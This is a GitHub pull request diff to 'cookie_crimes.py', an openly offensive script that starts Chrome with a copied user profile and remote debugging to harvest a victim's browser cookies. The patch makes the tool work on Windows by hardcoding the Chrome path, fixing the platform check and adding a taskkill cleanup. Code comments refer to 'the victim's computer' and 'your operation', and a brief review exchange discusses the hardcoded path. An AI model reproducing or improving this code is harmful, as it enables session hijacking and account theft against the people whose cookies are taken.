Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
22 changes: 12 additions & 10 deletions cookie_crimes.py
Original file line number Diff line number Diff line change
Expand Up @@ -26,9 +26,9 @@
CHROME_CMD = "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome"
USER_DATA_DIR = "$HOME/Library/Application Support/Google/Chrome"

elif sys.platform.startswith == "win":
CHROME_CMD = "chrome.exe"
USER_DATA_DIR = r"%LOCALAPPDATA%\Google\Chrome\User Data"
elif sys.platform.startswith("win"):
CHROME_CMD = "\"C:\\Program Files (x86)\\Google\\Chrome\Application\\chrome.exe\""
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think you should use this kind of discovery method to ensure the path is good:
https://stackoverflow.com/a/44588190

Copy link
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Completely agree, hardcoded path is bad. However I'm short in time and just wanted to get it working on my pretty standard Windows 10 installation. There's also the potential problem of having to escalate privileges to fetch this registry. But don't quote me on that one.

This patch also fixes other problems when running on Windows so I was hopping for it to land and be further improved upon by someone else with a bit more time.

USER_DATA_DIR = "%LOCALAPPDATA%\\Google\\Chrome\\User Data"

else:
raise RuntimeError("what the heck kind of OS is this? seriously what is '%s'? y'know what i don't hav to deal with this i'm outta here *car ignition noises* *driving noises* *driving noises fade away*" % sys.platform)
Expand All @@ -46,7 +46,7 @@
tmpdir = "/tmp"
copy = ["cp", "-r"]

elif sys.platform.startswith == "win":
elif sys.platform.startswith("win"):
tmpdir = "%TEMP%"
copy = ["xcopy", "/e", "/i", "/h"]
else:
Expand Down Expand Up @@ -78,7 +78,6 @@
]
)


subprocess.Popen(cmd, shell=True)

USER_DATA_DIR = fake_user_data_dir
Expand All @@ -89,16 +88,16 @@
user_data_dir=USER_DATA_DIR
)

print(CHROME_DEBUGGING_CMD)


def summon_forbidden_protocol():
"""IT COMES"""

# Supress stdout and stderr from the Chrome process so it doesn't
# pollute our cookie output, for your copy/pasting convenience.
process = subprocess.Popen(CHROME_DEBUGGING_CMD,
shell=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
shell=True)

# Hey some people have slow computers, quite possibly because of
# all the malware you're running on them.
Expand Down Expand Up @@ -127,8 +126,11 @@ def cleanup(chrome_process):
# I SURE HOPE there's no race condition, causing this to kill some other
# innocent PID, crashing the victim's computer and ruining your operation.

os.kill(chrome_process.pid + 1, signal.SIGKILL)

if sys.platform.startswith("win"):
subprocess.Popen('taskkill /F /PID {0}'.format(chrome_process.pid + 1), shell=True)
else:
os.kill(chrome_process.pid + 1, signal.SIGKILL)

# If we copied a Profile's User Data Directory somewhere, clean it up.
if fake_user_data_dir is not None:
shutil.rmtree(fake_user_data_dir)
Expand Down